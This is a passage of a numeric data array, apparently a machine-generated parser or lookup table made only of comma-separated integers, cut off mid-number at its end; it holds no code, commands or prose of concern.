97,1380,0,0,0,45,45,45,45,45,1185,45,45,45,45,45,45,45,386,45,45,45,45,45,45,45,45,1810,45,45,45,45,45,45,67,97,97,844,97,97,97,97,97,97,97,97,97,857,97,97,97,0,97,97,97,0,97,97,97,97,97,97,97,97,97,97,45,45,45,97,97,97,894,97,97,897,97,97,97,97,97,97,97,97,97,0,0,0,1382,45,45,45,97,909,97,97,97,97,97,914,97,97,97,97,97,97,97,923,67,67,1079,67,67,67,67,67,37689,1085,25403,1089,66365,1093,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,148,1114,97,97,97,97,97,97,1122,97,97,97,97,97,97,97,97,97,606,97,97,97,97,97,97,97,97,97,97,1173,97,97,97,97,97,12288,0,925,0,1179,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,145,45,45,67,67,67,67,67,1762,67,67,67,1766,67,67,67,67,67,67,528,67,67,67,67,67,67,67,67,67,97,97,97,97,97,0,1934,67,67,1255,67,67,67,67,67,67,67,67,67,67,67,67,67,1035,67,67,67,67,67,67,1297,67,67,67,67,67,67,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,1111,97,97,97,97,97,97,1327,97,97,97,97,97,97,97,97,97,97,97,97,33344,97,97,97,1335,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,97,97,1377,97,97,97,97,97,97,0,1179,0,45,45,45,45,670,45,45,45,45,45,45,45,45,45,45,45,430,45,45,45,45,67,67,1438,67,67,1442,67,67,67,67,67,67,67,67,67,67,67,67,1592,67,67,67,1451,67,67,67,67,67,67,67,67,67,67,1458,67,67,67,67,0,0,1305,0,0,0,0,0,1311,0,0,0,1317,0,0,0,0,0,0,0,97,97,1322,97,97,1491,97,97,1495,97,97,97,97,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,45,45,1551,45,1553,45,1504,97,97,97,97,97,97,97,97,97,97,1513,97,97,97,97,0,45,45,45,45,1536,45,45,45,45,1540,45,67,67,67,67,67,1585,67,67,67,67,67,67,67,67,67,67,67,67,1700,67,67,67,97,1648,97,97,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,1541,0,97,97,97,97,0,1940,0,97,97,97,97,97,97,45,45,2011,45,45,45,2015,67,67,2017,67,67,67,2021,97,67,67,812,67,67,67,67,67,67,67,67,67,67,67,37689,544,97,97,97,910,97,97,97,97,97,97,97,97,97,97,97,923,0,0,0,45,45,45,45,1184,45,45,45,45,1188,45,45,45,45,1414,45,45,45,1417,45,1419,45,45,45,45,45,443,45,45,45,45,45,45,453,45,45,67,67,67,67,1244,67,67,67,67,1248,67,67,67,67,67,67,67,0,37139,24853,0,0,0,282,41098,65820,97,1324,97,97,97,97,1328,97,97,97,97,97,97,97,97,97,0,0,930,45,45,45,45,97,97,97,97,1378,97,97,97,97,0,1179,0,45,45,45,45,671,45,45,45,45,45,45,45,45,45,45,45,975,45,45,45,45,67,67,1923,67,1925,67,67,1927,67,97,97,97,97,97,0,0,97,97,97,97,1985,45,45,45,45,45,45,1560,45,45,45,45,45,45,45,45,45,946,45,45,950,45,45,45,0,97,97,97,1939,0,0,0,97,1943,97,97,1945,97,45,45,45,669,45,45,45,45,45,45,45,45,45,45,45,45,990,45,45,45,67,257,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,337,97,97,97,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,0,0,370,2170880,2170880,2170880,2416640,401,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,459,461,67,67,67,67,67,67,67,67,475,67,480,67,67,67,67,67,67,1054,67,67,67,67,67,67,67,67,67,67,1698,67,67,67,67,67,484,67,67,487,67,67,67,67,67,67,67,67,67,67,67,67,67,1459,67,67,97,556,558,97,97,97,97,97,97,97,97,572,97,577,97,97,0,0,1896,97,97,97,97,97,97,1903,45,45,45,45,983,45,45,45,45,988,45,45,45,45,45,45,1195,45,45,45,45,45,45,45,45,45,45,1549,45,45,45,45,45,581,97,97,584,97,97,97,97,97,97,97,97,97,97,97,97,97,1153,97,97,369,0,45,45,45,45,45,45,45,45,45,45,45,662,45,45,45,684,45,45,45,45,45,45,45,45,45,45,45,45,1004,45,45,45,67,67,67,749,67,67,67,67,67,67,67,67,67,761,67,67,67,67,67,67,1068,67,67,67,1071,67,67,67,67,1076,794,795,67,67,67,67,67,67,67,67,67,67,67,67,67,67,0,544,97,97,97,97,847,97,97,97,97,97,97,97,97,97,859,97,0,0,2025,97,20480,97,97,2029,45,45,45,45,45,45,67,67,67,1575,67,67,67,67,67,67,67,67,67,1775,67,67,67,97,97,97,97,892,893,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1515,97,993,994,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,992,67,67,67,1284,67,67,67,67,67,67,67,67,67,67,67,67,67,1607,67,67,97,1364,97,97,97,97,97,97,97,97,97,97,97,97,97,97,596,97,45,1556,1557,45,45,45,45,45,45,45,45,45,45,45,45,45,45,696,45,1596,1597,67,67,67,67,67,67,67,67,67,67,67,67,67,67,499,67,97,97,97,1621,97,97,97,97,97,97,97,97,97,97,97,97,97,1346,97,97,97,97,1740,97,97,97,97,45,45,45,45,45,45,45,45,45,45,1678,45,45,45,45,45,67,97,97,97,97,97,97,1836,0,97,97,97,97,97,0,0,97,97,97,1984,97,45,45,45,45,45,45,1808,45,45,45,45,45,45,45,45,67,739,67,67,67,67,67,744,45,45,1909,45,45,45,45,45,45,45,67,1917,67,1918,67,67,67,67,67,67,1247,67,67,67,67,67,67,67,67,67,67,532,67,67,67,67,67,67,1922,67,67,67,67,67,67,67,97,1930,97,1931,97,0,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,67,67,1576,67,67,67,67,1580,67,67,0,97,97,1938,97,0,0,0,97,97,97,97,97,97,45,45,45,699,45,45,45,704,45,45,45,45,45,45,45,45,987,45,45,45,45,45,45,45,67,67,97,97,97,97,0,0,97,97,97,2006,97,97,97,97,0,45,1533,45,45,45,45,45,45,45,45,45,1416,45,45,45,45,45,45,45,45,722,723,45,45,45,45,45,45,2045,67,67,67,2047,0,0,97,97,97,2051,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,45,45,45,45,45,45,409,45,45,45,45,45,45,45,45,45,1957,45,67,67,67,67,67,1836,97,97,45,67,0,97,45,67,0,97,45,67,0,97,45,45,67,67,67,1761,67,67,67,1764,67,67,67,67,67,67,67,494,67,67,67,67,67,67,67,67,67,787,67,67,67,67,67,67,45,45,420,45,45,422,45,45,425,45,45,45,45,45,45,45,387,45,45,45,45,397,45,45,45,67,460,67,67,67,67,67,67,67,67,67,67,67,67,67,67,515,67,485,67,67,67,67,67,67,67,67,67,67,67,67,67,498,67,67,67,67,67,97,0,2039,97,97,97,97,97,45,45,45,45,1426,45,45,45,67,67,67,67,67,67,67,67,67,1689,67,67,67,97,557,97,97,97,97,97,97,97,97,97,97,97,97,97,97,612,97,582,97,97,97,97,97,97,97,97,97,97,97,97,97,595,97,97,97,97,97,896,97,97,97,97,97,97,97,97,97,97,885,97,97,97,97,97,45,939,45,45,45,45,943,45,45,45,45,45,45,45,45,45,45,1916,67,67,67,67,67,45,67,67,67,67,67,67,67,1015,67,67,67,67,1019,67,67,67,67,67,67,1271,67,67,67,67,67,67,1277,67,67,67,67,67,67,1287,67,67,67,67,67,67,67,67,67,67,804,67,67,67,67,67,1077,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2437120,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2543616,2170880,2170880,2170880,2170880,2170880,2629632,1169,97,1171,97,97,97,97,97,97,97,12288,0,925,0,1179,0,0,0,0,925,41606,0,0,0,0,45,45,45,45,936,45,45,67,67,214,67,220,67,67,233,67,243,67,248,67,67,67,67,67,67,1298,67,67,67,67,0,0,0,0,0,0,97,97,97,97,97,1617,97,0,0,0,45,45,45,1183,45,45,45,45,45,45,45,45,45,393,45,45,45,45,45,45,67,67,1243,67,67,67,67,67,67,67,67,67,67,67,67,67,1074,67,67,1281,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,776,1323,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,907,45,1412,45,45,45,45,45,45,45,1418,45,45,45,45,45,45,686,45,45,45,690,45,45,695,45,45,67,67,67,67,67,1465,67,67,67,67,67,67,67,67,67,67,67,97,97,97,1712,97,97,97,97,1741,97,97,97,45,45,45,45,45,45,45,45,45,426,45,45,45,45,45,45,67,67,67,1924,67,67,67,67,67,97,97,97,97,97,0,0,97,97,1983,97,97,45,45,1987,45,1988,45,0,97,97,97,97,0,0,0,1942,97,97,97,97,97,45,45,45,700,45,45,45,45,45,45,45,45,45,45,711,45,45,153,45,45,166,45,176,45,181,45,45,188,191,196,45,204,255,258,263,67,271,67,67,0,37139,24853,0,0,0,282,41098,65820,97,97,97,294,97,300,97,97,313,97,323,97,328,97,97,335,338,343,97,351,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,41098,0,140,45,45,45,45,1404,45,45,45,45,45,45,45,45,45,45,1411,67,67,486,67,67,67,67,67,67,67,67,67,67,67,67,67,1251,67,67,501,67,67,67,67,67,67,67,67,67,67,67,67,513,67,67,67,67,67,67,1443,67,67,67,67,67,67,67,67,67,67,1263,67,67,67,67,67,97,97,583,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1526,97,598,97,97,97,97,97,97,97,97,97,97,97,97,610,97,97,0,97,97,1796,97,97,97,97,97,97,97,45,45,45,45,45,1744,45,45,45,369,0,651,45,653,45,654,45,656,45,45,45,660,45,45,45,45,1558,45,45,45,45,45,45,45,45,1566,45,45,681,45,683,45,45,45,45,45,45,45,45,691,692,694,45,45,45,716,45,45,45,45,45,45,45,45,45,45,45,45,709,45,45,712,45,714,45,45,45,718,45,45,45,45,45,45,45,726,45,45,45,733,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,1691,67,67,747,67,67,67,67,67,67,67,67,67,760,67,67,67,0,0,0,0,0,0,97,1613,97,97,97,97,97,97,1509,97,97,97,97,97,97,97,97,97,0,1179,0,45,45,45,45,67,764,67,67,67,67,768,67,770,67,67,67,67,67,67,67,67,97,97,97,97,0,0,0,1977,67,778,779,781,67,67,67,67,67,67,788,789,67,67,792,793,67,67,67,813,67,67,67,67,67,67,67,67,67,824,37689,544,25403,546,70179,0,0,66365,66365,552,0,836,97,838,97,839,97,841,97,97,97,845,97,97,97,97,97,97,97,97,97,858,97,97,0,1728,97,97,97,0,97,97,97,97,97,97,97,97,97,97,45,1802,45,97,97,862,97,97,97,97,866,97,868,97,97,97,97,97,97,0,0,97,97,1788,97,97,97,0,0,97,97,876,877,879,97,97,97,97,97,97,886,887,97,97,890,891,97,97,97,97,97,97,97,899,97,97,97,903,97,97,97,0,97,97,97,0,97,97,97,97,97,97,97,1646,97,97,97,97,911,97,97,97,97,97,97,97,97,97,922,923,45,955,45,957,45,45,45,45,45,45,45,45,45,45,45,45,195,45,45,45,45,45,981,982,45,45,45,45,45,45,989,45,45,45,45,45,170,45,45,45,45,45,45,45,45,45,45,411,45,45,45,45,45,67,1023,67,67,67,67,67,67,1031,67,1033,67,67,67,67,67,67,67,817,819,67,67,67,67,67,37689,544,67,1065,67,67,67,67,67,67,67,67,67,67,67,67,67,67,516,67,67,1078,67,67,1081,1082,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,0,2171166,2171166,2171166,2171166,2171166,2437406,2171166,2171166,97,1115,97,1117,97,97,97,97,97,97,1125,97,1127,97,97,97,0,97,97,97,0,97,97,97,97,1644,97,97,97,0,97,97,97,0,97,97,1642,97,97,97,97,97,97,625,97,97,97,97,97,97,97,97,97,316,97,97,97,97,97,97,97,97,97,1159,97,97,97,97,97,97,97,97,97,97,97,97,97,1502,97,97,97,97,97,1172,97,97,1175,1176,97,97,12288,0,925,0,1179,0,0,0,0,925,41606,0,0,0,0,45,45,45,935,45,45,45,1233,45,45,45,1236,45,45,45,45,45,45,45,67,67,67,67,67,67,1873,67,67,45,45,1218,45,45,45,1223,45,45,45,45,45,45,45,1230,45,45,67,67,215,219,222,67,230,67,67,244,246,249,67,67,67,67,67,67,1882,97,97,97,97,0,0,0,97,97,97,97,97,97,45,1904,45,1905,45,67,67,67,67,67,1258,67,1260,67,67,67,67,67,67,67,67,67,495,67,67,67,67,67,67,67,67,1283,67,67,67,67,67,67,67,1290,67,67,67,67,67,67,67,818,67,67,67,67,67,67,37689,544,67,67,1295,67,67,67,67,67,67,67,67,0,0,0,0,0,0,2174976,0,0,97,97,97,1326,97,97,97,97,97,97,97,97,97,97,97,97,97,1514,97,97,97,97,97,1338,97,1340,97,97,97,97,97,97,97,97,97,97,97,1500,97,97,1503,97,1363,97,97,97,97,97,97,97,1370,97,97,97,97,97,97,97,563,97,97,97,97,97,97,578,97,1375,97,97,97,97,97,97,97,97,0,1179,0,45,45,45,45,685,45,45,45,45,45,45,45,45,45,45,45,1003,45,45,45,45,67,67,67,1463,67,67,67,67,67,67,67,67,67,67,67,67,67,1778,97,97,97,97,97,1518,97,97,97,97,97,97,97,97,97,97,97,97,609,97,97,97,45,1542,45,45,45,45,45,45,45,1548,45,45,45,45,45,1554,45,1570,1571,45,67,67,67,67,67,67,1578,67,67,67,67,67,67,67,1055,67,67,67,67,67,1061,67,67,1582,67,67,67,67,67,67,67,1588,67,67,67,67,67,1594,67,67,67,67,67,97,2038,0,97,97,97,97,97,2044,45,45,45,995,45,45,45,45,1e3,45,45,45,45,45,45,45,1809,45,1811,45,45,45,45,45,67,1610,1611,67,1476,0,1478,0,1480,0,97,97,97,97,97,97,1618,1647,1649,97,97,97,1652,97,1654,1655,97,0,45,45,45,1658,45,45,67,67,216,67,67,67,67,234,67,67,67,67,252,254,1845,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,945,45,947,45,45,45,45,45,67,67,67,67,67,1881,97,97,97,97,97,0,0,0,97,97,97,97,97,1902,45,45,45,45,45,45,1908,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1921,67,67,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,97,0,97,1937,97,97,1940,0,0,97,97,97,97,97,97,1947,1948,1949,45,45,45,1952,45,1954,45,45,45,45,1959,1960,1961,67,67,67,67,67,67,1455,67,67,67,67,67,67,67,67,67,67,757,67,67,67,67,67,67,1964,67,1966,67,67,67,67,1971,1972,1973,97,0,0,0,97,97,1104,97,97,97,97,97,97,97,97,97,97,884,97,97,97,889,97,97,1978,97,0,0,1981,97,97,97,97,45,45,45,45,45,45,736,45,67,67,67,67,67,67,67,67,67,67,67,1018,67,67,67,45,67,67,67,67,0,2049,97,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,45,933,45,45,45,45,1234,45,45,45,45,45,45,45,45,45,45,67,97,97,288,97,97,97,97,97,97,317,97,97,97,97,97,97,0,0,97,1787,97,97,97,97,0,0,45,45,378,45,45,45,45,45,390,45,45,45,45,45,45,45,424,45,45,45,431,433,45,45,45,67,1050,67,67,67,67,67,67,67,67,67,67,67,67,67,67,518,67,97,97,97,1144,97,97,97,97,97,97,97,97,97,97,97,97,632,97,97,97,97,97,97,97,1367,97,97,97,97,97,97,97,97,97,97,97,855,97,97,97,97,67,97,97,97,97,97,97,1837,0,97,97,97,97,97,0,0,0,1897,97,97,97,97,97,45,45,45,45,45,1208,45,45,45,45,45,45,45,45,45,45,724,45,45,45,45,45,97,2010,45,45,45,45,45,45,2016,67,67,67,67,67,67,2022,45,2046,67,67,67,0,0,2050,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,0,932,45,45,45,45,45,1222,45,45,45,45,45,45,45,45,45,45,1227,45,45,45,45,45,133,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,701,702,45,45,705,706,45,45,45,45,45,45,703,45,45,45,45,45,45,45,45,45,719,45,45,45,45,45,725,45,45,45,369,649,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1216,25403,546,70179,0,0,66365,66365,552,834,97,97,97,97,97,97,97,1342,97,97,97,97,97,97,97,97,0,97,97,97,97,97,97,97,1799,97,97,45,45,45,1569,45,45,45,1572,67,67,67,67,67,67,67,67,67,67,67,0,0,0,1306,0,67,67,67,1598,67,67,67,67,67,67,67,67,1606,67,67,1609,97,97,97,1650,97,97,1653,97,97,97,0,45,45,1657,45,45,45,1206,45,45,45,45,45,45,45,45,45,45,45,45,1421,45,45,45,1703,67,67,67,67,67,67,67,67,67,67,97,97,1711,97,97,0,1895,0,97,97,97,97,97,97,45,45,45,45,45,958,45,960,45,45,45,45,45,45,45,45,1913,45,45,1915,67,67,67,67,67,67,67,466,67,67,67,67,67,67,481,67,45,1749,45,45,45,45,45,45,45,45,1755,45,45,45,45,45,173,45,45,45,45,45,45,45,45,45,45,974,45,45,45,45,45,67,67,67,67,67,1773,67,67,67,67,67,67,67,97,97,97,97,1886,0,0,0,97,97,67,2035,2036,67,67,97,0,0,97,2041,2042,97,97,45,45,45,45,1662,45,45,45,45,45,45,45,45,45,45,45,1397,45,45,45,45,151,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,437,205,45,67,67,67,218,67,67,67,67,67,67,67,67,67,67,67,1047,67,67,67,67,97,97,97,97,298,97,97,97,97,97,97,97,97,97,97,97,870,97,97,97,97,97,97,97,97,352,97,0,53264,0,18,18,24,24,0,28,28,0,0,0,0,0,0,365,0,41098,0,140,45,45,45,45,45,1427,45,45,67,67,67,67,67,67,67,1435,520,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1037,617,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,923,45,1232,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,1919,67,1759,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1021,45,154,45,162,45,45,45,45,45,45,45,45,45,45,45,45,964,45,45,45,206,45,67,67,67,67,221,67,229,67,67,67,67,67,67,67,67,530,67,67,67,67,67,67,67,67,755,67,67,67,67,67,67,67,67,785,67,67,67,67,67,67,67,67,802,67,67,67,807,67,67,67,97,97,97,97,353,97,0,53264,0,18,18,24,24,0,28,28,0,0,0,0,0,0,366,0,0,0,140,2170880,2170880,2170880,2416640,402,45,45,45,45,45,45,45,410,45,45,45,45,45,45,45,674,45,45,45,45,45,45,45,45,389,45,394,45,45,398,45,45,45,45,441,45,45,45,45,45,447,45,45,45,454,45,45,67,67,67,67,67,67,67,67,67,67,67,1768,67,67,67,67,67,488,67,67,67,67,67,67,67,496,67,67,67,67,67,67,67,1774,67,67,67,67,67,97,97,97,97,0,0,97,97,97,0,97,97,97,97,97,97,97,97,67,67,523,67,67,527,67,67,67,67,67,533,67,67,67,540,97,97,97,585,97,97,97,97,97,97,97,593,97,97,97,97,97,97,1784,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,0,0,0,18,18,24,24,0,28,28,97,97,620,97,97,624,97,97,97,97,97,630,97,97,97,637,713,45,45,45,45,45,45,721,45,45,45,45,45,45,45,45,1197,45,45,45,45,45,45,45,45,730,732,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1581,67,45,67,67,67,67,1012,67,67,67,67,67,67,67,67,67,67,67,1059,67,67,67,67,67,1024,67,67,67,67,67,67,67,67,67,67,67,67,67,67,775,67,67,67,67,1066,67,67,67,67,67,67,67,67,67,67,67,67,479,67,67,67,67,67,67,1080,67,67,67,67,37689,0,25403,0,66365,0,0,0,0,0,0,0,287,0,0,0,287,0,2379776,2170880,2170880,97,97,97,1118,97,97,97,97,97,97,97,97,97,97,97,97,920,97,97,0,0,0,0,45,1181,45,45,45,45,45,45,45,45,45,45,45,432,45,45,45,45,45,45,1219,45,45,45,45,45,45,1226,45,45,45,45,45,45,959,45,45,45,45,45,45,45,45,45,184,45,45,45,45,202,45,1241,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1266,67,1268,67,67,67,67,67,67,67,67,67,67,67,67,1279,67,67,67,67,67,272,67,0,37139,24853,0,0,0,0,41098,65820,67,67,67,67,67,1286,67,67,67,67,67,67,67,67,67,1293,67,67,67,1296,67,67,67,67,67,67,67,0,0,0,0,0,281,94,0,0,97,97,97,1366,97,97,97,97,97,97,97,97,97,1373,97,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,0,97,1376,97,97,97,97,97,97,97,0,0,0,45,45,1384,45,45,67,208,67,67,67,67,67,67,237,67,67,67,67,67,67,67,1069,1070,67,67,67,67,67,67,67,0,37140,24854,0,0,0,0,41098,65821,45,1423,45,45,45,45,45,45,67,67,1431,67,67,67,67,67,67,67,1083,37689,0,25403,0,66365,0,0,0,1436,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1830,67,1452,1453,67,67,67,67,1456,67,67,67,67,67,67,67,67,67,771,67,67,67,67,67,67,1461,67,67,67,1464,67,1466,67,67,67,67,67,67,1470,67,67,67,67,67,67,1587,67,67,67,67,67,67,67,67,1595,1489,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1129,97,1505,1506,97,97,97,97,1510,97,97,97,97,97,97,97,97,97,1163,1164,97,97,97,97,97,1516,97,97,97,1519,97,1521,97,97,97,97,97,97,1525,97,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,67,67,67,67,67,1586,67,67,67,67,67,67,67,67,67,67,67,1276,67,67,67,67,67,67,67,67,67,1600,67,67,67,67,67,67,67,67,67,67,67,1301,0,0,0,1307,97,97,1620,97,97,97,97,97,97,97,1627,97,97,97,97,97,97,913,97,97,97,97,919,97,97,97,0,97,97,97,1781,97,97,0,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,0,1792,1860,45,1862,1863,45,1865,45,67,67,67,67,67,67,67,67,1875,67,1877,1878,67,1880,67,97,97,97,97,97,1887,0,1889,97,97,18,0,139621,0,0,0,0,0,0,364,237568,0,367,0,97,1893,0,0,0,97,1898,1899,97,1901,97,45,45,45,45,45,2014,45,67,67,67,67,67,2020,67,97,1989,45,1990,45,45,45,67,67,67,67,67,67,1996,67,1997,67,67,67,67,67,273,67,0,37139,24853,0,0,0,0,41098,65820,67,67,97,97,97,97,0,0,97,97,2005,0,97,2007,97,97,18,0,139621,0,0,0,642,0,133,364,0,0,367,41606,0,97,97,2056,2057,0,2059,45,67,0,97,45,67,0,97,45,45,67,209,67,67,67,223,67,67,67,67,67,67,67,67,67,786,67,67,67,791,67,67,45,45,940,45,45,45,45,45,45,45,45,45,45,45,45,45,45,727,45,45,67,67,67,67,67,67,67,67,1016,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,0,133,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,142,45,45,67,210,67,67,67,225,67,67,239,67,67,67,250,67,67,67,67,67,464,67,67,67,67,67,476,67,67,67,67,67,67,67,1709,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,97,1843,0,67,259,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,289,97,97,97,303,97,97,97,97,97,97,97,97,97,97,901,97,97,97,97,97,339,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,0,358,0,0,0,0,0,0,41098,0,140,45,45,45,45,45,1953,45,1955,45,45,45,67,67,67,67,67,67,67,1687,1688,67,67,67,67,45,45,405,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1203,45,458,67,67,67,67,67,67,67,67,67,470,477,67,67,67,67,67,67,67,1970,97,97,97,1974,0,0,0,97,1103,97,97,97,97,97,97,97,97,97,97,97,1372,97,97,97,97,67,522,67,67,67,67,67,67,67,67,67,67,67,536,67,67,67,67,67,67,1696,67,67,67,67,67,67,67,1701,67,555,97,97,97,97,97,97,97,97,97,567,574,97,97,97,97,97,301,97,309,97,97,97,97,97,97,97,97,97,900,97,97,97,905,97,97,97,619,97,97,97,97,97,97,97,97,97,97,97,633,97,97,18,0,139621,0,0,362,0,0,0,364,0,0,367,41606,369,649,45,45,45,45,45,45,45,45,45,45,45,45,663,664,67,67,67,67,750,751,67,67,67,67,758,67,67,67,67,67,67,67,1272,67,67,67,67,67,67,67,67,67,1057,1058,67,67,67,67,67,67,67,67,797,67,67,67,67,67,67,67,67,67,67,67,67,512,67,67,67,97,97,97,97,895,97,97,97,97,97,97,97,97,97,97,97,902,97,97,97,97,67,67,1051,67,67,67,67,67,67,67,67,67,67,67,1062,67,67,67,67,67,491,67,67,67,67,67,67,67,67,67,67,67,1302,0,0,0,1308,97,97,97,97,1145,97,97,97,97,97,97,97,97,97,97,97,1139,97,97,97,97,1156,97,97,97,97,97,97,1161,97,97,97,97,97,1166,97,97,18,640,139621,0,641,0,0,0,0,364,0,0,367,41606,67,67,67,67,1257,67,67,67,67,67,67,67,67,67,67,67,0,0,1305,0,0,97,97,1337,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1630,97,67,1474,67,67,0,0,0,0,0,0,0,0,0,0,0,0,0,2380062,2171166,2171166,97,1529,97,97,0,45,45,45,45,45,45,45,45,45,45,45,1228,45,45,45,45,67,67,67,67,1707,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,1891,1739,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,1198,45,1200,45,45,45,45,97,97,1894,0,0,97,97,97,97,97,97,45,45,45,45,45,672,45,45,45,45,45,45,45,45,45,45,45,1420,45,45,45,45,67,67,1965,67,1967,67,67,67,97,97,97,97,0,1976,0,97,97,45,67,0,97,45,67,0,97,45,67,0,97,45,97,97,1979,0,0,97,1982,97,97,97,1986,45,45,45,45,45,735,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,1770,67,67,2e3,97,97,97,2002,0,97,97,97,0,97,97,97,97,97,97,1798,97,97,97,45,45,45,2034,67,67,67,67,97,0,0,2040,97,97,97,97,45,45,45,45,1752,45,45,45,1753,1754,45,45,45,45,45,45,383,45,45,45,45,45,45,45,45,45,675,45,45,45,45,45,45,438,45,45,45,45,45,445,45,45,45,45,45,45,45,45,67,1430,67,67,67,67,67,67,67,67,67,524,67,67,67,67,67,531,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,1096,97,97,97,621,97,97,97,97,97,628,97,97,97,97,97,97,0,53264,0,18,18,24,24,356,28,28,665,45,45,45,45,45,45,45,45,45,676,45,45,45,45,45,942,45,45,45,45,45,45,45,45,45,45,707,708,45,45,45,45,763,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,809,810,67,67,67,67,783,67,67,67,67,67,67,67,67,67,67,67,0,1303,0,0,0,97,861,97,97,97,97,97,97,97,97,97,97,97,97,97,97,613,97,45,45,956,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1215,45,67,67,67,67,1027,67,67,67,67,1032,67,67,67,67,67,67,67,67,37689,0,25403,0,66365,0,0,1097,1064,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1075,67,1098,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,331,97,97,97,97,1158,97,97,97,97,97,97,97,97,97,97,97,97,97,594,97,97,1309,0,0,0,1315,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1374,97,45,45,1543,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1240,67,67,1583,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1252,67,97,97,97,1635,97,97,97,0,97,97,97,97,97,97,97,97,1800,97,45,45,45,97,97,1793,97,97,97,97,97,97,97,97,97,97,45,45,45,1743,45,45,45,1746,45,0,97,97,97,97,97,1851,97,45,45,45,45,1856,45,45,45,45,1864,45,45,67,67,1869,67,67,67,67,1874,67,0,97,97,45,67,2058,97,45,67,0,97,45,67,0,97,45,45,67,211,67,67,67,67,67,67,240,67,67,67,67,67,67,67,1444,67,67,67,67,67,67,67,67,67,509,67,67,67,67,67,67,67,67,67,268,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,290,97,97,97,305,97,97,319,97,97,97,330,97,97,18,640,139621,0,641,0,0,0,0,364,0,643,367,41606,97,97,348,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,45,45,380,45,45,45,45,45,45,395,45,45,45,400,369,0,45,45,45,45,45,45,45,45,658,45,45,45,45,45,972,45,45,45,45,45,45,45,45,45,45,427,45,45,45,45,45,745,67,67,67,67,67,67,67,67,756,67,67,67,67,67,67,67,67,37689,1086,25403,1090,66365,1094,0,0,97,843,97,97,97,97,97,97,97,97,854,97,97,97,97,97,97,1121,97,97,97,97,1126,97,97,97,97,45,980,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1400,45,67,67,67,1011,67,67,67,67,67,67,67,67,67,67,67,0,1304,0,0,0,1190,45,45,1193,1194,45,45,45,45,45,1199,45,1201,45,45,45,45,1911,45,45,45,45,45,67,67,67,67,67,67,67,1579,67,67,67,67,45,1205,45,45,45,45,45,45,45,45,1211,45,45,45,45,45,984,45,45,45,45,45,45,45,45,45,45,45,1550,45,45,45,45,45,1217,45,45,45,45,45,45,1225,45,45,45,45,1229,45,45,45,1388,45,45,45,45,45,45,1396,45,45,45,45,45,444,45,45,45,45,45,45,45,45,45,67,67,1574,67,67,67,67,67,67,67,67,67,67,1590,67,67,67,67,67,1254,67,67,67,67,67,1259,67,1261,67,67,67,67,1265,67,67,67,67,67,67,1708,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,97,0,0,67,67,67,67,1285,67,67,67,67,1289,67,67,67,67,67,67,67,67,37689,1087,25403,1091,66365,1095,0,0,97,97,97,97,1339,97,1341,97,97,97,97,1345,97,97,97,97,97,561,97,97,97,97,97,573,97,97,97,97,97,97,1717,97,0,97,97,97,97,97,97,97,591,97,97,97,97,97,97,97,97,97,1329,9